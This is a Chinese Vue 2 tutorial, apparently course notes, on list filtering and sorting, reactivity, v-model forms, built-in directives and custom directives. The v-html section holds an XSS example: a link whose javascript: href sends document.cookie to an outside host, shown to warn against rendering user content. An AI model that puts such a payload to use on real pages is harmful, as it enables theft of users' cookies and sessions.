(1)最好使用每条数据的唯一标识作为key, 比如id、手机号、身份证号、学号等唯一值。
(2)如果不存在对数据的逆序添加、逆序删除等破坏顺序操作,仅用于渲染列表用于展示,使用index作为key是没有问题的。
列表过滤
我有一个数组,里面存放了很多数据,页面上有个输入框,用户在输入框中输入内容value后,会去数组中查询哪些数据包含value,将包含的数据展示在列表中,类似于搜索功能。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>列表过滤,模糊搜索</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<!-- v-model="keyWord"即为v-model:value="keyWord",即将输入框的内容value与keyWord双向绑定 -->
<input type="text" placeholder="请输入名字" v-model="keyWord">
<ul>
<li v-for="(p,index) of filPerons" :key="index">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
//当输入框的内容改变时,就需要重新过滤,如何知道输入框的内容改变了呢?使用watch监听keyWord的改变
//用watch实现
/* new Vue({
el:'#root',
data:{
keyWord:'',
persons:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
],
filPerons:[]
},
watch:{
keyWord:{
immediate:true,
handler(val){
this.filPerons = this.persons.filter((p)=>{
return p.name.indexOf(val) !== -1
})
}
}
}
}) */
//用computed实现
new Vue({
el:'#root',
data:{
keyWord:'',
persons:[
{id:'001',name:'马冬梅',age:19,sex:'女'},
{id:'002',name:'周冬雨',age:20,sex:'女'},
{id:'003',name:'周杰伦',age:21,sex:'男'},
{id:'004',name:'温兆伦',age:22,sex:'男'}
]
},
computed:{
filPerons(){
return this.persons.filter((p)=>{
//注意:字符串.indexOf('') === 0
return p.name.indexOf(this.keyWord) !== -1
})
}
}
})
</script>
</body>
</html>
列表排序
我有一个数组,里面存放了很多数据,页面上有个输入框,用户在输入框中输入内容value后,会去数组中查询哪些数据包含value,将包含的数据展示在列表中,类似于搜索功能,页面上还有一些排序按钮,点击后会对搜索结果进行排序再重新展示
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>列表排序</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<input type="text" placeholder="请输入名字" v-model="keyWord">
<button @click="sortType = 2">年龄升序</button>
<button @click="sortType = 1">年龄降序</button>
<button @click="sortType = 0">原顺序</button>
<ul>
<li v-for="(p,index) of filPerons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
<input type="text">
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
keyWord:'',
sortType:0, //0原顺序 1降序 2升序
persons:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:18,sex:'男'},
{id:'004',name:'温兆伦',age:19,sex:'男'}
]
},
computed:{
filPerons(){
const arr = this.persons.filter((p)=>{
return p.name.indexOf(this.keyWord) !== -1
})
//判断一下是否需要排序
if(this.sortType){
arr.sort((p1,p2)=>{
return this.sortType === 1 ? p2.age-p1.age : p1.age-p2.age
})
}
return arr
}
}
})
</script>
</body>
</html>
更新数组中的数据遇到的问题
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>更新时的一个问题</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h2>人员列表</h2>
<button @click="updateMei">更新马冬梅的信息</button>
<ul>
<li v-for="(p,index) of persons" :key="p.id">
{{p.name}}-{{p.age}}-{{p.sex}}
</li>
</ul>
</div>
<script type="text/javascript">
Vue.config.productionTip = false
const vm = new Vue({
el:'#root',
data:{
persons:[
{id:'001',name:'马冬梅',age:30,sex:'女'},
{id:'002',name:'周冬雨',age:31,sex:'女'},
{id:'003',name:'周杰伦',age:18,sex:'男'},
{id:'004',name:'温兆伦',age:19,sex:'男'}
]
},
methods: {
updateMei(){
// this.persons[0].name = '马老师' //奏效
// this.persons[0].age = 50 //奏效
// this.persons[0].sex = '男' //奏效
/*
我们按照上面的代码更改persons中的数据,persons中的数据会改变,页面也会自动发生改变,没毛病。
我们按照下面这行代码更改persons中的数据,persons中的数据会改变,页面不会发生改变,说明vue检测不到这段数据的改变
*/
// this.persons[0] = {id:'001',name:'马老师',age:50,sex:'男'} //不奏效
this.persons.splice(0,1,{id:'001',name:'马老师',age:50,sex:'男'})//奏效
}
}
})
</script>
</body>
</html>
vue检测数据改变的原理
模拟一个数据检测
核心思想:vue创建了一个监视实例对象的Observer,Observer会将data中的属性遍历出来,给属性绑定getter和setter,然后将属性添加到自己身上,最后将Observer赋值给实例对象的_data。在setter中,他会写一个调用,该回调会重新解析模板,然后生成新的虚拟dom,进行新旧虚拟DOM对比,最后更新页面。将属性遍历出来并为其绑定getter和setter,这种行为被称为数据劫持。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Document</title>
</head>
<body>
<script type="text/javascript" >
let data = {
name:'尚硅谷',
address:'北京',
}
//创建一个监视的实例对象Observer,用于监视data中属性的变化
const obs = new Observer(data)
console.log(obs)
//准备一个vm实例对象
let vm = {}
vm._data = data = obs
function Observer(obj){// Observer接收一个参数,这个参数是个对象
//汇总对象中所有的属性形成一个数组
const keys = Object.keys(obj)
//遍历
keys.forEach((k)=>{
Object.defineProperty(this,k,{
get(){
return obj[k]
},
set(val){
console.log(`${k}被改了,我要去解析模板,生成虚拟DOM.....我要开始忙了`)
obj[k] = val
}
})
})
}
</script>
</body>
</html>
检测对象中数据改变的原理
检测对象中数据的改变:vue拿到data,先给里面的数据绑定getter和setter,这样数据就是响应式的了,当你修改name时,就会调用name的setter,setter中写了个调用,会重新解析模板,然后生成新的虚拟dom,进行新旧虚拟DOM对比,最后更新页面。这样就实现了对属性的监视。但是新添加的属性不是响应式的,只有一开始准备好的属性才是响应式的,后来添加进来的都不是响应式的,如果希望新添加的属性也是响应式的,那么需要使用Vue.set()
进行添加。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Vue监测数据改变的原理</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<h1>学校信息</h1>
<h2>学校名称:{{school.name}}</h2>
<h2>学校地址:{{school.address}}</h2>
<h2>校长是:{{school.leader}}</h2>
<hr/>
<h1>学生信息</h1>
<!--
点击添加属性后,属性被添加进data中,但是该属性不是响应式的,页面压根不会有变化。
也就是说,只有一开始准备好的属性才是响应式的,后来添加进来的都不是响应式的,
如果希望新添加的属性也是响应式的,那么需要使用Vue.set()进行添加。
-->
<button @click="addSex">添加一个性别属性,默认值是男</button>
<h2>姓名:{{student.name}}</h2>
<h2 v-if="student.sex">性别:{{student.sex}}</h2>
<h2>年龄:真实{{student.age.rAge}},对外{{student.age.sAge}}</h2>
<h2>朋友们</h2>
<ul>
<li v-for="(f,index) in student.friends" :key="index">
{{f.name}}--{{f.age}}
</li>
</ul>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
const vm = new Vue({
el:'#root',
data:{
//Vue.set()只能给data中的对象追加属性,这个属性是响应式的,不能在data中追加数据
school:{
name:'尚硅谷',
address:'北京',
},
student:{
name:'tom',
age:{
rAge:40,
sAge:29,
},
friends:[
{name:'jerry',age:35},
{name:'tony',age:36}
]
}
},
methods: {
addSex(){
// Vue.set(this.student,'sex','男')
/*
Vue.set()和vm.$set()一样,只不过前者在Vue身上,后者在Vue实例对象身上
this.$set(你要往谁的身上追加一个属性,'追加的属性名','属性值')
第一个参数不能是vm,也不能是data,必须是data里面的某个对象
*/
this.$set(this.student,'sex','男')
}
}
})
</script>
</html>
检测数组中数据改变的原理
检测数组中数据的改变:vue并没有为数组中的每一个元素添加getter和setter,他只给数组添加了。所以当你通过索引更改数组中的元素时,元素会改变,但是vue检测不到,也不会引起页面的更新。因此vue重写了push()、pop()、shift()、unshift()、splice()、sort()、reverse()
,你使用这些方法更改数组中的元素,vue能检测到,并且会更新页面,所以vue对数组的检测就是包装数组身上的常用的修改数组的方法实现的。
vue如何重写以上方法的:1.调用Array上的方法;2.重新解析模板、生成虚拟DOM……
除了上面的方法,使用Vue.set()
或vm.$set()
更改数组中的元素:Vue.set(你要操作的数组,索引值,'改为啥')
,也会被vue检测到,并更新页面
总结Vue监视数据的原理
- vue会监视data中所有层次的数据。
- 如何监测对象中的数据?通过setter实现监视,且要在new Vue时就传入要监测的数据。
(1)对象中后追加的属性,Vue默认不做响应式处理
(2)如需给后添加的属性做响应式,请使用如下API:Vue.set(target,propertyName/index,value)
或vm.$set(target,propertyName/index,value)
- 如何监测数组中的数据?通过包裹数组更新元素的方法实现,本质就是做了两件事:
(1)调用原生对应的方法对数组进行更新。
(2)重新解析模板,进而更新页面。 - 在Vue修改数组中的某个元素一定要用如下方法:
(1)使用这些API:push()、pop()、shift()、unshift()、splice()、sort()、reverse()
(2)Vue.set()
或vm.$set()
以上7个方法都是变更方法,也就是会变更调用了这些方法的原始数组,除此之外还有非变更方法,如filter()、concat()、slice()
等,他们不会变更原始数组,而总是返回一个新数组,当使用非变更方法时,可以用新数组替换掉原始数组
⚠️特别注意:Vue.set()
和vm.$set()
不能给vm或vm的根数据对象添加属性!!!
v-model收集表单数据
若:<input type="text"/>
,则v-model收集的是value值,用户输入的就是value值。
若:<input type="radio"/>
,则v-model收集的是value值,且要给标签配置value值。
若:<input type="checkbox"/>
- 没有配置input的value属性,那么收集的就是checked(勾选 or 未勾选,是布尔值)
- 配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选 or 未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的的就是value组成的数组
若:
<input type="checkbox"/>
,可以给input绑定v-model="xxx"
,xxx为true则勾选,为false则不勾选
v-model可以做两件事:1.初始化列表时就能维护好是否勾选;2.v-model是双向数据绑定,勾选/取消勾选都会引起xxx的改变
v-model的三个修饰符:
lazy
:失去焦点再收集数据number
:输入字符串转为有效的数字trim
:输入首尾空格过滤
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>收集表单数据</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!--
点击最下面的按钮会引起表单的提交,表单提交完了后的默认动作就是跳转页面,我们不希望他跳转:
1.给按钮绑定点击事件,阻止默认行为
2.给form绑定事件submit:@submit="demo"表示表单一提交,就调用demo方法,然后跳转页面
@submit.prevent="demo"表示表单一提交,就调用demo方法,阻止默认的跳转行为
-->
<form @submit.prevent="demo">
<!--
下面两行代码可以实现,点击账号选中输入框这一功能
<label for="demo">账号</label>
<input id="demo" type="text"></input>
-->
<!-- .trim:去掉输入内容的【前后】空格 -->
账号:<input type="text" v-model.trim="userInfo.account"> <br/><br/>
密码:<input type="password" v-model="userInfo.password"> <br/><br/>
<!--
type="number":输入框只能输入数字,其他的压根输入不进来
v-model.number:把你输入的东西收集为数字类型,如果不加.number,vue把你输入的东西收集为字符串
虽然你写了type="number",你输入框中只能输入数字,但是vue收集这个数字时,它默认转成字符串,
如输入18,收集的是'18'。所以一般type="number"和v-model.number="userInfo.age"联合使用
如果你只写了v-model.number="userInfo.age",那么你输入3ad0,收集到的是3
-->
年龄:<input type="number" v-model.number="userInfo.age"> <br/><br/>
性别:
<!--
给两个输入框的name设置相同的值,标识这两个输入框是同一组,只能选中一个
type="radio"的input框需要亲自配置value,再使用v-model进行双向数据绑定
-->
男<input type="radio" name="sex" v-model="userInfo.sex" value="male">
女<input type="radio" name="sex" v-model="userInfo.sex" value="female"> <br/><br/>
爱好:
<!--
像下面这种情况:有很多checkbox,且需要知道哪个输入框被点击了
需要亲自配置value、使用v-model进行双向数据绑定,并且v-model绑定的值必须是数组。
如果不是数组,由于checkbox默认收集checked,所以下列输入框中的某一个被选中(checked为true)后,
由于数据双向绑定,该输入框会将userInfo.hobby置为true,由于数据双向绑定,
使得其余和userInfo.hobby绑定的输入框都被选中。
checkbox默认收集checked,下面三个输入框中被选中的输入框的value会被添加进userInfo.hobby数组
-->
学习<input type="checkbox" v-model="userInfo.hobby" value="study">
打游戏<input type="checkbox" v-model="userInfo.hobby" value="game">
吃饭<input type="checkbox" v-model="userInfo.hobby" value="eat">
<br/><br/>
所属校区
<select v-model="userInfo.city">
<option value="">请选择校区</option>
<option value="beijing">北京</option>
<option value="shanghai">上海</option>
<option value="shenzhen">深圳</option>
<option value="wuhan">武汉</option>
</select>
<br/><br/>
其他信息:
<!--
如果不用.lazy,我们在输入框中输入的内容,vue会立马收集,比如我们像输入asd,那么vue会收集3次,
我们输一个字母他收集一次。如果用了,当输入框失去焦点时,vue才收集
-->
<textarea v-model.lazy="userInfo.other"></textarea> <br/><br/>
<!--
下面这个type="checkbox",可以不用绑定value,v-model绑定的值也没必要是数组,
因为在此处只需要知道这个checkbox是否被勾选,不需要获得checkbox的值
-->
<input type="checkbox" v-model="userInfo.agree">阅读并接受<a href="http://www.atguigu.com">《用户协议》</a>
<button>提交</button>
</form>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
new Vue({
el:'#root',
data:{
userInfo:{
account:'',
password:'',
age:18,
sex:'female',
hobby:[],
city:'beijing',
other:'',
agree:''
}
},
methods: {
demo(){
//前后端进行数据交互时,一般都把收集到的数据整理成json格式传给后端
console.log(JSON.stringify(this.userInfo))
}
}
})
</script>
</html>
内置指令
v-text指令
- 作用:向其所在的节点中渲染文本内容。
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-text指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<!-- 上一行代码等同于下一行代码,也等同于:<div v-text="name">aa</div>,因为v-text中的内容会替换掉标签体的内容 -->
<div v-text="name"></div>
<!--
下一行代码在页面中显示为:<h3>你好啊!</h3>,因为v-text会把你所有的字符串都当成文本解析,就算里面有标签,
他也不会解析
-->
<div v-text="str"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
str:'<h3>你好啊!</h3>'
}
})
</script>
</html>
v-html指令
- 作用:向指定节点中渲染包含html结构的内容。
- 与插值语法的区别:
(1)v-html会替换掉节点中所有的内容,{{xx}}则不会。
(2)v-html可以识别html结构。 - 严重注意:v-html有安全性问题!!!!
(1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击。
(2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容上! - v-html和v-text的区别:前者支持结构的解析,后者不支持
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-html指令</title>
<!-- 引入Vue -->
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<div>你好,{{name}}</div>
<div v-html="str"></div>
<div v-html="str2"></div>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷',
//v-html会把h3当作标签解析,页面显示加黑加粗的:你好啊!
str:'<h3>你好啊!</h3>',
/*
location.href也能实现跳转。"http://www.baidu.com?"这个应该是黑客的服务器,我们这里写成百度
"http://www.baidu.com?"+document.cookie:获取你当前所处的网站的所有cookie并将cookie以参数的形式传给百度,
最后跳转到百度。
cookie的HttpOnly限制:该cookie只有HTTP协议能读取、携带
*/
str2:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>兄弟我找到你想要的资源了,快来!</a>',
}
})
</script>
</html>
v-cloak指令
v-cloak指令(没有值):
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性。
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>v-cloak指令</title>
<style>
[v-cloak]{// 属性选择器。选中所有标签中有v-cloak这个属性的元素
display:none;
}
</style>
<!-- 引入Vue -->
<!--
你之前是在这里引入vue,如果你在这里引入外部vue,如果某天因为某些原因,你这里引入的这个外部vue,他足足等了5s才回来,
那么对整个页面有什么影响:那么后面的body标签的内容是不会渲染到页面的,再下面的script标签的内容也不会被执行,
因为这里阻塞了
-->
<!-- <script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>-->
</head>
<body>
<!-- 准备好一个容器-->
<div id="root">
<!-- vue一接管该容器,v-cloak就会被他删掉 -->
<h2 v-cloak>{{name}}</h2>
</div>
<!--
body最下方也可以引入外部js文件,如果在这里引入外部vue,如果某天因为某些原因,你这里引入的这个外部vue,
他足足等了5s才回来,那么对整个页面有什么影响:body标签的内容会渲染到页面,然后等引入的这个外部vue回来了,
再继续执行下面的script标签的内容。这就意味着,上面root容器未经编译的结果会在页面上展示5s。
现在我就想把外部vue文件在这里引入,但是我不希望用户看到未经编译的root容器:使用v-cloak配合css
在外部vue阻塞的那5s,body标签中的内容出现在了页面,但是我们给他设置了v-cloak属性,并为该属性设置了样式:display:none;
所以此时body标签中的内容在页面上不可见,5s后,执行下面的script标签的内容,vue接管root容器,会立马删除v-cloak,
display:none;样式也就没有了,body标签中的内容在页面上呈现出来
-->
<script type="text/javascript" src="http://localhost:8080/resource/5s/vue.js"></script>
</body>
<script type="text/javascript">
console.log(1)
Vue.config.productionTip = false //阻止 vue 在启动时生成生产提示。
new Vue({
el:'#root',
data:{
name:'尚硅谷'
}
})
</script>
</html>
v-once指令
v-once指令:没有值
- v-once所在节点在初次动态渲染后,就视为静态内容了。即,n只从data中读一次,就再也不读了,不变了,不更新了
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能。
⚠️不要和事件修饰符.once搞混了!!
<!-- 以后n的值都是初始值 -->
<h2 v-once>初始化的n值是:{{n}}</h2>
v-pre指令
- 跳过其所在节点的编译过程,即vue不解析节点(浏览器会解析HTML标签),程序员写的啥,页面展示啥。
- 可利用它跳过:没有使用指令语法、没有使用插值语法的节点,会加快编译。
<h2 v-pre>Vue其实很简单</h2>
自定义指令
一、定义语法:
- 局部指令:
new Vue({
directives:{指令名:配置对象}
})
//或者
new Vue({
directives{指令名:回调函数}
})
- 全局指令:
Vue.directive(指令名,配置对象)
或Vue.directive(指令名,回调函数)
二、配置对象中常用的3个回调:
bind
:指令与元素成功绑定时调用。inserted
:指令所在元素被插入页面时调用。update
:指令所在模板结构被重新解析时调用。
三、备注:
- 指令定义时不加v-,但使用时要加v-;
- 指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名。
- 指令其实就是把原生dom操作进行了封装。
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<h2>当前的n值是:<span v-text="n"></span> </h2>
<!-- <h2>放大10倍后的n值是:<span v-big-number="n"></span> </h2> -->
<!-- 使用了v-big指令,会去directives中调用big方法或big配置项 -->
<h2>放大10倍后的n值是:<span v-big="n"></span> </h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令Vue.directive('指令名',配置对象/函数)
/*Vue.directive('big',function(element,binding){
element.innerText = binding.value * 10
})
*/
new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:1
},
//局部指令,只能给root这个容器用,别的vue实例用不了
directives:{// 自定义指令的配置项
//big函数何时会被调用?1.指令与元素成功绑定时(一上来)。
//2.指令所在的模板被重新解析时。我们更改了data中name的值,也会调用big函数
/*
自定义指令函数形式的完整写法:directives是个对象,对象里面保存的是键值对,下面左边键右边值,值是个函数
左边的键名中有-,必须用''包起来,没有的话可以省略''
'big-number':function(element,binding){
// console.log('big')
element.innerText = binding.value * 10
},
精简一下:
'big-number'(element,binding){
// console.log('big')
element.innerText = binding.value * 10
}
*/
/*
big函数会收到两个参数:
1.element:big指令所在标签的真实dom元素,此处是<span></span>
2.binding:一个对象,对象中有个value属性,其值是指令所用到的值,其他的属性不常用,如express是表达式,就是使用指令时,
在指令中绑定的表达式,name是你定义的指令名称,rawName是你使用指令时用的名字
指令语法就是操作dom元素的属性、内容以及给dom元素绑定事件,所以调用指令函数时,
传入的第一个参数就是指令所在的真实的dom元素
*/
big(element,binding){
// 函数形式,这里面的代码就是bind和update函数的代码,在bind和update两个阶段都会调用该函数
console.log('big',this) //注意此处的this是window。所有指令相关的回调函数中的this都是window。
//指令就是操作元素的,我把元素给你了,指令绑定的元素的相关信息都给你了(包括指令需要用的数据),
// 你不需要vue实例啊,所以this没有指向vue
// console.log('big')
element.innerText = binding.value * 10
}
}
})
</script>
</html>
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点。
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>自定义指令</title>
<script type="text/javascript" src="../js/vue.js"></script>
</head>
<body>
<div id="root">
<input type="text" v-fbind:value="n">
</div>
</body>
<script type="text/javascript">
Vue.config.productionTip = false
//定义全局指令Vue.directive('指令名',配置对象/函数)
/* Vue.directive('fbind',{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在的模板被重新解析时
update(element,binding){
element.value = binding.value
}
})
*/
new Vue({
el:'#root',
data:{
name:'尚硅谷',
n:1
},
//局部指令,只能给root这个容器用,别的vue实例用不了
directives:{
/*
fbind(element,binding){
element.value = binding.value;
element.focus();
},
如果你像上面这样写代码的话,一打开页面,input并不会自动获得焦点,这是因为指令与元素成功绑定时,
也就是一上来就会调用fbind函数,但是此时input还没有出现在页面上。
这个过程:你页面上的这行代码<input type="text" v-fbind:value="n">是模板,需要经过vue编译,
vue发现该input使用了fbind指令,会将input和fbind指令进行绑定,如果你写的是fbind函数,此时就会调用该函数,
但是此时input还没有被vue放入页面。
为了解决这个问题,我们需要一个时机:指令和元素成功绑定,而且元素被vue放入页面了,此时再执行element.focus();
所以你不能把fbind写成函数,要写成对象,在对象中可以写很多钩子函数,vue会在特定的时机帮你调相应的钩子函数
*/
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
console.log('bind',this) //注意此处的this是window
element.value = binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
console.log('inserted',this) //注意此处的this是window
element.focus()// 调用input框的focus函数,会自动获取input框的焦点
},
//指令所在的模板被重新解析时。
//我们发现,bind和update中的代码一般是一样的,所以vue提供了自定义指令的函数方式,即上面的big函数那种形式
//函数当作bind和update函数用,函数形式相当于没有写inserted函数,只写了bind和update函数
update(element,binding){
console.log('update',this) //注意此处的this是window
element.value = binding.value
}
}
}
})
</script>
</html>
回顾一个dom操作
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8" />
<title>Document</title>
<style>
.demo{
background-color: orange;
}
</style>
</head>
<body>
<button id="btn">点我创建一个输入框</button>
<script type="text/javascript" >
const btn = document.getElementById('btn')
btn.onclick = ()=>{
const input = document.createElement('input')
/*
如果你在这里获取input的焦点input.focus();然后再把input放到页面中document.body.appendChild(input)
input出现在页面时,并没有获取焦点,但input.focus();这行代码是执行了的,因为input元素只有放在页面了,
你才有资格谈“用户点击、用户操作、获取焦点”等。所以input.focus()必须放在document.body.appendChild(input)之后
下面三行代码可以放在之前调用,这个区域属于bind区,元素创建好了,但是还没出现在页面
*/
input.className = 'demo'
input.value = 99
input.onclick = ()=>{alert(1)}
document.body.appendChild(input)
// 这里属于inserted区
input.focus()
//下面这行代码也必须在document.body.appendChild(input)之后调用,因为此时input才有父节点
// input.parentElement.style.backgroundColor = 'skyblue'
console.log(input.parentElement)
}
</script>
</body>
</html>